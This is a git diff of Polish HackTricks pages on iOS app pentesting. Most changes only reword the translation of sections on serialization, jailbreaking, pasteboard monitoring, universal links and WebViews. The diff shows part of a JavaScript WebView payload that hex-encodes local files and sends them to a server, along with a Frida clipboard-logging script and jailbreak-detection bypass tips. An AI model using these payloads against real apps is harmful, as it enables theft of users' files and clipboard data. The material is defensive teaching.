W iOS, **serializacja obiektów** polega na konwertowaniu obiektów na format, który można łatwo przechowywać lub przesyłać, a następnie rekonstruowaniu ich z tego formatu w razie potrzeby. Dwa główne protokoły, **`NSCoding`** i **`NSSecureCoding`**, ułatwiają ten proces dla Objective-C lub podklas `NSObject`, pozwalając na serializację obiektów do **`NSData`**, formatu, który opakowuje buforami bajtowymi.
|
||||
W iOS, **serializacja obiektów** polega na konwertowaniu obiektów na format, który można łatwo przechowywać lub przesyłać, a następnie rekonstruowaniu ich z tego formatu w razie potrzeby. Dwa główne protokoły, **`NSCoding`** i **`NSSecureCoding`**, ułatwiają ten proces dla Objective-C lub podklas `NSObject`, pozwalając obiektom na serializację do **`NSData`**, formatu, który opakowuje buforami bajtów.
|
||||
|
||||
### **`NSCoding`** Implementacja
|
||||
|
||||
Aby zaimplementować `NSCoding`, klasa musi dziedziczyć po `NSObject` lub być oznaczona jako `@objc`. Protokół ten wymaga implementacji dwóch metod do kodowania i dekodowania zmiennych instancji:
|
||||
Aby zaimplementować `NSCoding`, klasa musi dziedziczyć po `NSObject` lub być oznaczona jako `@objc`. Ten protokół wymaga implementacji dwóch metod do kodowania i dekodowania zmiennych instancji:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
@ -35,7 +35,7 @@ return true
|
||||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Archiwizacja danych za pomocą `NSKeyedArchiver`
|
||||
## Archiwizacja danych z `NSKeyedArchiver`
|
||||
|
||||
`NSKeyedArchiver` i jego odpowiednik, `NSKeyedUnarchiver`, umożliwiają kodowanie obiektów do pliku i późniejsze ich odzyskiwanie. Mechanizm ten jest przydatny do utrwalania obiektów:
|
||||
```swift
|
||||
@ -44,7 +44,7 @@ let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive")
|
||||
```
|
||||
### Używanie `Codable` do uproszczonej serializacji
|
||||
|
||||
Protokół `Codable` w Swift łączy `Decodable` i `Encodable`, ułatwiając kodowanie i dekodowanie obiektów takich jak `String`, `Int`, `Double` itd., bez dodatkowego wysiłku:
|
||||
Protokół `Codable` w Swift łączy `Decodable` i `Encodable`, ułatwiając kodowanie i dekodowanie obiektów takich jak `String`, `Int`, `Double` itp., bez dodatkowego wysiłku:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
@ -59,7 +59,7 @@ Poza natywnym wsparciem, kilka bibliotek firm trzecich oferuje możliwości kodo
|
||||
|
||||
### Kwestie bezpieczeństwa
|
||||
|
||||
Podczas serializowania danych, szczególnie do systemu plików, istotne jest, aby być czujnym na potencjalne włączenie wrażliwych informacji. Zserializowane dane, jeśli zostaną przechwycone lub niewłaściwie obsłużone, mogą narażać aplikacje na ryzyko, takie jak nieautoryzowane działania lub wyciek danych. Zaleca się szyfrowanie i podpisywanie zserializowanych danych w celu zwiększenia bezpieczeństwa.
|
||||
Podczas serializowania danych, szczególnie do systemu plików, istotne jest, aby być czujnym na potencjalne włączenie informacji wrażliwych. Zserializowane dane, jeśli zostaną przechwycone lub niewłaściwie obsłużone, mogą narażać aplikacje na ryzyko, takie jak nieautoryzowane działania lub wyciek danych. Zaleca się szyfrowanie i podpisywanie zserializowanych danych w celu zwiększenia bezpieczeństwa.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -65,32 +65,32 @@ Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfik
|
||||
|
||||
### Rooting Androida vs. Jailbreaking iOS
|
||||
|
||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na spersonalizowany ROM z rootem**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
|
||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na dostosowane ROM-y z rootem**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
|
||||
|
||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować spersonalizowanych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu ominięcie zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, co jest skomplikowane przez ciągłe ulepszenia zabezpieczeń Apple.
|
||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować dostosowanych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu ominięcie zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple.
|
||||
|
||||
### Wyzwania związane z Jailbreakingiem
|
||||
|
||||
Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowny jailbreak jest gwarantowany.
|
||||
|
||||
Aktualizacje iOS są kontrolowane przez **mechanizm wyzwań i odpowiedzi** (SHSH blobs), pozwalając na instalację tylko dla odpowiedzi podpisanych przez Apple. Ten mechanizm, znany jako "okno podpisywania", ogranicza możliwość przechowywania i późniejszego używania pakietów firmware OTA. Strona [IPSW Downloads](https://ipsw.me) jest zasobem do sprawdzania aktualnych okien podpisywania.
|
||||
Aktualizacje iOS są kontrolowane przez **mechanizm wyzwań i odpowiedzi** (SHSH blobs), pozwalający na instalację tylko dla odpowiedzi podpisanych przez Apple. Ten mechanizm, znany jako "okno podpisywania", ogranicza możliwość przechowywania i późniejszego używania pakietów firmware OTA. Strona [IPSW Downloads](https://ipsw.me) jest zasobem do sprawdzania aktualnych okien podpisywania.
|
||||
|
||||
### Rodzaje Jailbreaków
|
||||
|
||||
- **Jailbreak tethered** wymaga połączenia z komputerem przy każdym ponownym uruchomieniu.
|
||||
- **Jailbreak semi-tethered** pozwala na uruchomienie w trybie bez jailbreaka bez komputera.
|
||||
- **Jailbreak semi-untethered** wymaga ręcznego ponownego jailbreaka bez potrzeby korzystania z komputera.
|
||||
- **Jailbreak untethered** oferuje trwałe rozwiązanie jailbreakowe bez potrzeby ponownej aplikacji.
|
||||
- **Jailbreak untethered** oferuje trwałe rozwiązanie jailbreak bez potrzeby ponownej aplikacji.
|
||||
|
||||
### Narzędzia i zasoby do Jailbreakingu
|
||||
|
||||
Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady obejmują:
|
||||
Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady to:
|
||||
|
||||
- [Checkra1n](https://checkra.in/) dla urządzeń z chipami A7-A11.
|
||||
- [Palera1n](https://palera.in/) dla urządzeń Checkm8 (A8-A11) na iOS 15.0-16.5.
|
||||
- [Unc0ver](https://unc0ver.dev/) dla wersji iOS do 14.8.
|
||||
|
||||
Modyfikowanie urządzenia wiąże się z ryzykiem, a jailbreak powinien być traktowany z ostrożnością.
|
||||
Modyfikowanie urządzenia wiąże się z ryzykiem, a jailbreak powinien być podejmowany z ostrożnością.
|
||||
|
||||
### Korzyści i ryzyka związane z Jailbreakingiem
|
||||
|
||||
@ -116,7 +116,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
|
||||
|
||||
## **Obejście wykrywania jailbreaka**
|
||||
## **Obejście wykrywania Jailbreaka**
|
||||
|
||||
- Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
|
||||
- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Szukaj'
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
# UIActivity Sharing Simplified
|
||||
|
||||
Od iOS 6, aplikacje firm trzecich mogą **dzielić się danymi** takimi jak tekst, URL-e czy obrazy, korzystając z mechanizmów takich jak AirDrop, jak opisano w przewodniku Apple'a [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Ta funkcja manifestuje się poprzez systemowy _arkusz aktywności udostępniania_, który pojawia się po interakcji z przyciskiem "Udostępnij".
|
||||
Od iOS 6, aplikacje innych firm mogą **dzielić dane** takie jak tekst, URL-e lub obrazy, korzystając z mechanizmów takich jak AirDrop, jak opisano w przewodniku Apple'a [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Ta funkcja manifestuje się poprzez systemowy _arkusz aktywności udostępniania_, który pojawia się po interakcji z przyciskiem "Udostępnij".
|
||||
|
||||
Kompleksowa lista wszystkich wbudowanych opcji udostępniania jest dostępna w [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Programiści mogą zdecydować się na wykluczenie określonych opcji udostępniania, jeśli uznają je za nieodpowiednie dla swojej aplikacji.
|
||||
Kompleksowa lista wszystkich wbudowanych opcji udostępniania jest dostępna w [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Programiści mogą zdecydować się na wykluczenie konkretnych opcji udostępniania, jeśli uznają je za nieodpowiednie dla swojej aplikacji.
|
||||
|
||||
## **Jak udostępniać dane**
|
||||
|
||||
|
@ -1,22 +1,26 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Udostępnianie danych w ramach i między aplikacjami na urządzeniach iOS jest ułatwione dzięki mechanizmowi [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie:
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Ogólny schowek systemowy**: Służy do udostępniania danych **w dowolnej aplikacji** i jest zaprojektowany tak, aby utrzymywać dane po ponownym uruchomieniu urządzenia i odinstalowaniu aplikacji, co jest dostępne od iOS 10.
|
||||
- **Niestandardowe / nazwane schowki**: Służą specjalnie do udostępniania danych **w obrębie aplikacji lub z inną aplikacją**, która dzieli ten sam identyfikator zespołu, i nie są zaprojektowane do utrzymywania danych poza czasem życia procesu aplikacji, który je tworzy, zgodnie ze zmianami wprowadzonymi w iOS 10.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Udostępnianie danych w ramach i pomiędzy aplikacjami na urządzeniach iOS jest ułatwione przez mechanizm [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie:
|
||||
|
||||
- **Ogólny schowek systemowy**: Używany do udostępniania danych z **dowolną aplikacją** i zaprojektowany tak, aby utrzymywać dane po ponownym uruchomieniu urządzenia i odinstalowaniu aplikacji, funkcja ta jest dostępna od iOS 10.
|
||||
- **Niestandardowe / nazwane schowki**: Przeznaczone specjalnie do udostępniania danych **w obrębie aplikacji lub z inną aplikacją**, która dzieli ten sam identyfikator zespołu, i nie są zaprojektowane do utrzymywania danych poza czasem życia procesu aplikacji, który je tworzy, zgodnie ze zmianami wprowadzonymi w iOS 10.
|
||||
|
||||
**Rozważania dotyczące bezpieczeństwa** odgrywają znaczącą rolę przy korzystaniu ze schowków. Na przykład:
|
||||
|
||||
- Nie ma mechanizmu, który pozwalałby użytkownikom zarządzać uprawnieniami aplikacji do dostępu do **schowka**.
|
||||
- Aby zminimalizować ryzyko nieautoryzowanego monitorowania schowka w tle, dostęp jest ograniczony do momentu, gdy aplikacja jest na pierwszym planie (od iOS 9).
|
||||
- Użycie trwałych nazwanych schowków jest odradzane na rzecz wspólnych kontenerów z powodu obaw o prywatność.
|
||||
- Funkcja **Uniwersalny schowek**, wprowadzona w iOS 10, umożliwiająca udostępnianie treści między urządzeniami za pośrednictwem ogólnego schowka, może być zarządzana przez programistów w celu ustawienia wygasania danych i wyłączenia automatycznego transferu treści.
|
||||
- Funkcja **Uniwersalnego Schowka** wprowadzona w iOS 10, umożliwiająca udostępnianie treści pomiędzy urządzeniami za pośrednictwem ogólnego schowka, może być zarządzana przez programistów w celu ustawienia wygasania danych i wyłączenia automatycznego transferu treści.
|
||||
|
||||
Zabezpieczenie, aby **wrażliwe informacje nie były przypadkowo przechowywane** w globalnym schowku, jest kluczowe. Dodatkowo aplikacje powinny być zaprojektowane tak, aby zapobiegać niewłaściwemu wykorzystaniu danych z globalnego schowka do niezamierzonych działań, a programiści są zachęcani do wdrażania środków zapobiegających kopiowaniu wrażliwych informacji do schowka.
|
||||
Zabezpieczenie, aby **wrażliwe informacje nie były przypadkowo przechowywane** w globalnym schowku, jest kluczowe. Dodatkowo, aplikacje powinny być zaprojektowane tak, aby zapobiegać niewłaściwemu wykorzystaniu danych z globalnego schowka do niezamierzonych działań, a programiści są zachęcani do wdrażania środków zapobiegających kopiowaniu wrażliwych informacji do schowka.
|
||||
|
||||
### Analiza statyczna
|
||||
|
||||
W przypadku analizy statycznej przeszukaj kod źródłowy lub binarny w poszukiwaniu:
|
||||
W przypadku analizy statycznej, przeszukaj kod źródłowy lub binarny w poszukiwaniu:
|
||||
|
||||
- `generalPasteboard`, aby zidentyfikować użycie **ogólnego schowka systemowego**.
|
||||
- `pasteboardWithName:create:` i `pasteboardWithUniqueName` do tworzenia **niestandardowych schowków**. Sprawdź, czy trwałość jest włączona, chociaż jest to przestarzałe.
|
||||
@ -37,7 +41,7 @@ Kluczowe szczegóły do monitorowania obejmują:
|
||||
|
||||
Przykładem użycia narzędzia monitorującego jest **monitor schowka objection**, który co 5 sekund sprawdza generalPasteboard pod kątem zmian i wyświetla nowe dane.
|
||||
|
||||
Oto prosty przykład skryptu JavaScript, inspirowany podejściem objection, do odczytu i rejestrowania zmian ze schowka co 5 sekund:
|
||||
Oto prosty przykład skryptu JavaScript, inspirowany podejściem objection, do odczytu i rejestrowania zmian z schowka co 5 sekund:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard
|
||||
const Pasteboard = UIPasteboard.generalPasteboard()
|
||||
@ -74,5 +78,8 @@ console.log(items)
|
||||
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,7 +10,7 @@ Dla testerów penetracyjnych plik `apple-app-site-association` jest szczególnie
|
||||
|
||||
### **Analiza uprawnienia Associated Domains**
|
||||
|
||||
Programiści włączają Universal Links, konfigurując **Associated Domains** w zakładce Capabilities w Xcode lub przeglądając plik `.entitlements`. Każda domena jest poprzedzona `applinks:`. Na przykład, konfiguracja Telegrama może wyglądać następująco:
|
||||
Programiści włączają Universal Links, konfigurując **Associated Domains** w zakładce Capabilities w Xcode lub sprawdzając plik `.entitlements`. Każda domena jest poprzedzona `applinks:`. Na przykład, konfiguracja Telegrama może wyglądać następująco:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
@ -74,7 +74,7 @@ Dzięki **starannemu konfigurowaniu i walidacji** deweloperzy mogą zapewnić,
|
||||
|
||||
## Narzędzia
|
||||
|
||||
- [GetUniversal.link](https://getuniversal.link/): Pomaga uprościć testowanie i zarządzanie uniwersalnymi linkami oraz plikiem AASA Twojej aplikacji. Wystarczy wpisać swoją domenę, aby zweryfikować integralność pliku AASA lub skorzystać z niestandardowego pulpitu nawigacyjnego, aby łatwo przetestować zachowanie linków. To narzędzie pomaga również określić, kiedy Apple ponownie zindeksuje Twój plik AASA.
|
||||
- [GetUniversal.link](https://getuniversal.link/): Pomaga uprościć testowanie i zarządzanie uniwersalnymi linkami oraz plikiem AASA Twojej aplikacji. Wystarczy wpisać swoją domenę, aby zweryfikować integralność pliku AASA lub skorzystać z niestandardowego pulpitu nawigacyjnego, aby łatwo testować zachowanie linków. To narzędzie pomaga również określić, kiedy Apple ponownie zindeksuje Twój plik AASA.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -10,9 +10,9 @@ WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treśc
|
||||
|
||||
- **UIWebView**, który nie jest już zalecany od iOS 12 ze względu na brak wsparcia dla wyłączania **JavaScript**, co czyni go podatnym na wstrzykiwanie skryptów i ataki **Cross-Site Scripting (XSS)**.
|
||||
|
||||
- **WKWebView** jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.
|
||||
- **WKWebView** jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. **JavaScript** jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo, architektura **WKWebView** minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.
|
||||
|
||||
- **SFSafariViewController** oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki swojemu specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika od aplikacji. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.
|
||||
- **SFSafariViewController** oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki swojemu specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do **WKWebView**, **JavaScript** nie może być wyłączony w **SFSafariViewController**, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika z aplikacji. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
@ -25,7 +25,7 @@ WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:c
|
||||
|
||||
### **Przegląd analizy statycznej**
|
||||
|
||||
W procesie badania konfiguracji **WebViews** skupia się na dwóch głównych typach: **UIWebView** i **WKWebView**. Do identyfikacji tych WebViews w binarnym pliku wykorzystuje się polecenia, które wyszukują konkretne odniesienia do klas i metody inicjalizacji.
|
||||
W procesie badania konfiguracji **WebViews** skupia się na dwóch głównych typach: **UIWebView** i **WKWebView**. Do identyfikacji tych WebViews w binarnym pliku wykorzystuje się polecenia, wyszukując konkretne odniesienia do klas i metody inicjalizacji.
|
||||
|
||||
- **Identyfikacja UIWebView**
|
||||
```bash
|
||||
@ -57,7 +57,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Wnioski z analizy dynamicznej**
|
||||
|
||||
Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie `webviews_inspector.js`, który celuje w instancje `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje on informacje o znalezionych instancjach, w tym adresy URL oraz ustawienia związane z JavaScript i zabezpieczoną zawartością.
|
||||
Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie `webviews_inspector.js`, który celuje w instancje `UIWebView`, `WKWebView` i `SFSafariViewController`. Rejestruje on informacje o znalezionych instancjach, w tym URL-e i ustawienia związane z JavaScript i zabezpieczoną zawartością.
|
||||
|
||||
Inspekcję sterty można przeprowadzić za pomocą `ObjC.choose()`, aby zidentyfikować instancje WebView i sprawdzić właściwości `javaScriptEnabled` oraz `hasonlysecurecontent`.
|
||||
```javascript:webviews_inspector.js
|
||||
@ -120,16 +120,16 @@ To podsumowanie obejmuje kluczowe kroki i polecenia związane z analizowaniem ko
|
||||
|
||||
## Obsługa protokołów WebView
|
||||
|
||||
Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak `http(s)://`, `file://` i `tel://`. Protokóły te umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.
|
||||
Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak `http(s)://`, `file://` i `tel://`. Protokoły te umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.
|
||||
|
||||
**WebViews** oferują różne metody ładowania treści. Dla **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** z kolei wykorzystuje `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` oraz `loadRequest:` do treści internetowych. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:`, i `init(contentsOf:encoding:)` są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.
|
||||
**WebViews** oferują różne metody ładowania treści. Dla **UIWebView**, obecnie przestarzałego, używane są metody takie jak `loadHTMLString:baseURL:` i `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView** z kolei wykorzystuje `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` oraz `loadRequest:` do treści internetowych. Metody takie jak `pathForResource:ofType:`, `URLForResource:withExtension:` i `init(contentsOf:encoding:)` są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda `loadFileURL:allowingReadAccessToURL:` jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.
|
||||
|
||||
Aby znaleźć te metody w kodzie źródłowym lub skompilowanym binarnym, można użyć poleceń takich jak poniższe:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
Jeśli chodzi o **dostęp do plików**, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na fałsz.
|
||||
W odniesieniu do **dostępu do plików**, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia `allowFileAccessFromFileURLs` i `allowUniversalAccessFromFileURLs` do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na fałsz.
|
||||
|
||||
Przykład skryptu Frida jest podany, aby sprawdzić konfiguracje **WKWebView** dotyczące ustawień bezpieczeństwa:
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
```
|
||||
Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie hex przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
|
||||
Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.
|
||||
```javascript
|
||||
String.prototype.hexEncode = function () {
|
||||
var hex, i
|
||||
@ -187,7 +187,7 @@ xhr.send(null)
|
||||
|
||||
Od iOS 7 Apple udostępniło API do **komunikacji między JavaScript w WebView a natywnymi** obiektami Swift lub Objective-C. Ta integracja jest głównie ułatwiana przez dwie metody:
|
||||
|
||||
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w `JSContext`. Umożliwia to płynne połączenie i komunikację między JavaScript a kodem natywnym.
|
||||
- **JSContext**: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w `JSContext`. Umożliwia to płynne integrowanie i komunikację między JavaScript a kodem natywnym.
|
||||
- **JSExport Protocol**: Poprzez dziedziczenie protokołu `JSExport`, natywne właściwości, metody instancji i metody klasowe mogą być udostępniane JavaScript. Oznacza to, że wszelkie zmiany wprowadzone w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są przypadkowo ujawniane za pomocą tej metody.
|
||||
|
||||
### Uzyskiwanie dostępu do `JSContext` w Objective-C
|
||||
@ -198,7 +198,7 @@ W Objective-C `JSContext` dla `UIWebView` można uzyskać za pomocą następują
|
||||
```
|
||||
### Komunikacja z `WKWebView`
|
||||
|
||||
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji `postMessage`, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawiane w następujący sposób, co umożliwia JavaScript bezpieczną interakcję z natywną aplikacją:
|
||||
Dla `WKWebView` bezpośredni dostęp do `JSContext` nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji `postMessage`, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawione w następujący sposób, co umożliwia JavaScript bezpieczną interakcję z natywną aplikacją:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
@ -213,7 +213,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
||||
```
|
||||
### Interakcja i testowanie
|
||||
|
||||
JavaScript może wchodzić w interakcję z warstwą natywną, definiując obsługę wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z strony internetowej:
|
||||
JavaScript może wchodzić w interakcję z warstwą natywną, definiując handler wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z poziomu strony internetowej:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -8,8 +8,8 @@ Xamarin to **platforma open-source** zaprojektowana dla deweloperów do **tworze
|
||||
|
||||
### Architektura Xamarin
|
||||
|
||||
- Dla **Androida** Xamarin integruje się z przestrzeniami nazw Android i Java poprzez powiązania .NET, działając w środowisku wykonawczym Mono obok Android Runtime (ART). Managed Callable Wrappers (MCW) i Android Callable Wrappers (ACW) ułatwiają komunikację między Mono a ART, które są zbudowane na jądrze Linux.
|
||||
- Dla **iOS** aplikacje działają pod runtime Mono, wykorzystując pełną kompilację Ahead of Time (AOT) do konwersji kodu C# .NET na język asemblera ARM. Proces ten działa obok Objective-C Runtime na jądrze podobnym do UNIX.
|
||||
